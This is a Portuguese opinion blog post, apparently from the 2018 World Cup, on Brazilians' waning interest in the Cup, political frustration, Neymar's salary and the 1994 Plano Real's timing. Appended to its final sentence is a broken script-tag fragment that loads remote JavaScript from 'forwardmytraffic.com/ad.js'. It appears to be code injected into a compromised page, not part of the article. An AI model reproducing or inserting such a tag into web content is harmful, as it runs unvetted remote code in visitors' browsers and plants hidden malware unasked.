Estamos em plena copa do mundo de futebol, o maior evento esportivo do planeta.
Milhões e milhões de pessoas acompanham e torcem por suas seleções, uma festa que faz o Brasil parar.
Eu sou jovem, nasci em 1991, a primeira copa que tenho lembrança é de 1998. Comemorei muito em 2002. Vi aquela que era a seleção dos sonhos ser eliminada pela França em 2006. A amarga derrota para Holanda em 2010, de virada. Até o emblemático 7 x 1 para Alemanha em pleno Mineirão em 2014.
Mas confesso que em nenhuma outra edição da copa, eu percebi tanto desinteresse da população por esse espetáculo.
Talvez ainda seja a ressaca do 7 x 1, mas fato é, que o brasileiro em geral, está muito mais interessado nas próximas eleições do que na copa. É simples entender o porquê, mesmo sendo o país do futebol, nossa situação política e econômica nos levou a culpar tudo e todos pelos problemas e, como os jogadores da seleção são a bola da vez, eles é que pagam o pato.
Parece que se tornou crime ser fã de futebol.
Como se a copa do mundo fosse a responsável por fazer do Brasil um país pobre e subdesenvolvido.
Tenho uma péssima notícia então, nosso país tinha problemas antes da copa, e vai continuar tendo depois.
Quando eventos desse tipo são financiados com dinheiro público, critica-los é aceitável. Mas no caso, tanto a FIFA quanto Confederação Brasileira de Futebol (CBF) são instituições privadas, que não utilizam verbas governamentais, então, não cabe a nós nos indignar com os luxos dos atletas.
Pior ainda seria reclamar do salário do Neymar, só consigo definir como inveja alguém achar errada a milionária remuneração que o PSG o paga, pois garanto que o retorno financeiro que ele dá para o clube em publicidade e vendas de camisas, entre outras coisas, é muito maior.
Misturar copa do mundo com política é errado, ou não?
Paras os bons leitores, há um livro muito interessante chamado “3000 dias no banker”, essa bela obra, conta a história de Gustavo Franco a frente do projeto do plano real em 1994, o qual foi estrategicamente lançado durante a copa do mundo daquele ano, época em que a população estava mais receptiva a uma mudança.
Agora, se o título do Brasil em 1994 ajudou o plano real ser o sucesso que foi, impossível dizer.
Este ano, o governo poderia ter usado a copa para fazer a tão necessária reforma da previdência, perdeu a oportunidade, vai que o Brasil ficasse campeão, a reforma poderia ser um sucesso também.
A nós, humildes brasileiros, restou a obrigação de torcer pela seleção e torcer para que quem for eleito em outubro faça um grande mandato, com as reformas necessárias para o Brasil voltar a crescer…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>